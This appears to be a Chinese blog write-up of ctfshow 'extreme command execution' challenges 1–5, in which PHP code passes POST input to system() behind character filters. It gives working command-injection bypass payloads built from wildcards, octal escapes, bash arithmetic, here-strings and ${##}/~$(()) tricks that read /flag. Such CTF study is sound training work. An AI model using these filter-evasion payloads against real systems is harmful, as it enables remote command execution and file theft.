ctfshow-极限命令执行复现

极限命令执行1

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag

error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){
            system($ctfshow);
        }else{
            echo("????????");
        }
}
?>

查看可用字符

!$'(),./0123456789=?\a~

字母a和?可用使用,那么这里可用使用通配符去绕过进行命令执行

payload:

ctf_show=/bin/base /flag
ctf_show=/???/?a??64%09/??a?

image-20230215171236512

极限命令执行2

 <?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?> 

这里?被ban了,那么通配符绕过就不能在使了,这里可以使用编码绕过

由于字母被ban,只有数字可以使用那么我们可以使用数字编码来进行绕过

image-20230215172058975

用数字编码去执行命令

image-20230215172146527

可以看到可以成功执行

构造payload

ctf_show=$'\57\147\145\164\146\154\141\147'

image-20230215172247429

极限命令执行3

 <?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?> 

经过测试,字母和除了01的其他数字都给过滤了

那么上一道题的编码绕过的payload就不能直接使用了

要想办法通过01把其他数字给构造出来,从而绕过waf

这里需要先理解bash的整数表达形式:
比如说十进制数4,其二进制表示为100在bash里面可以使用2#100来表示

image-20230215201512960

image-20230215201527060

那么通过这种方式我们可以把其他数字构造出来,但是2同样也是不能够使用的,那我们要先把2构造出来

这里<和>并没有被禁止,我们可以使用位运算去构造出2

image-20230215202018243

那么通过这两种方法我们就可以去构造出其他数字

那么我们这里可以构造出ls

$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'

执行

image-20230215202556721

可以看到已经成功将其解析为\154\163,但是没有进行进一步的解析,也就是进行bash的解析处理转换为ls

那么这里要借用bash的一个语法

<<<三个小于号(here-strings),语法:command [args] <<<["]$word["];$word会展开并作为command的stdin

那么可以把字符串当作$0(bash)的stdin就可以进行进一步解析

image-20230215204303392

但是在测试执行cat /flag时却出现了报错

image-20230215205000707

发现并没有执行成功,这是因为bash不能执行带参数的命令,他把我们输入的进行解析后当成一串字符串去解析了,也就是把cat /flag当成一串f字符串去执行,导致命令没有执行成功

bash把这一个字符串当作整体,而没有把空格作为分隔符正确解析

那我们可以使用两次here-strings,使其成为标准输入去执行这个复杂命令

构造payload:

ctf_show=$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'

本地测试

image-20230215205621614

执行成功

image-20230215205702574

极限命令执行4

 <?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?> 

还是同上面一样的题,但是这里对数字1也进行了过滤,那么我们上面用数字去构造其他数字的方法就受到了限制,那我们要其他方法把1构造出来。

这里可以使用简单替换将1替换为${##}

image-20230216161657342

${##}: 第一个#是计算字符长度,第二个#是字符串的名字。

看一下$#的值:

image-20230216162845647

0的长度为1,那么我们就可以构造出1了。

把上道题目的payload中的1都替换成${##}

那么我们就可以绕过1去构造paylaod:

ctf_show=$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'

本地测试

image-20230216163340728

执行成功

image-20230216163424110

极限命令执行5

 <?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?> 

这里把0也进行了过滤,那么同样的要使用其他方法讲0构造出来,然后通过构造出来的0,去构造其他数字

这里通过${{!xxx}}的用法把$0也就是bash构造出来

image-20230216204923127

那通过这样的方法我们只需要构造一个值为0的变量

在liunx中$(()),代表的是一种算术位运算

例如

image-20230216210440778

这样就可以把0构造出来

image-20230216210513084

然后通过上面的方法就可以把bash构出来

然后就是其他数字的构造

这里使用位取反来构造其他数字

上面我们已经成功构造出了0,对0进行按位取反可以得到-1

多个1进行排列可以得到其他数字

image-20230216210907681

可以看到可以成功构造出其他数字

那么我们就可以利用这些方法就构造之前利用的payload

ctf_show=__=$(())%26%26${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'

image-20230216211311463

posted @ 2023-02-16 21:15  GTL_JU  阅读(434)  评论(0编辑  收藏  举报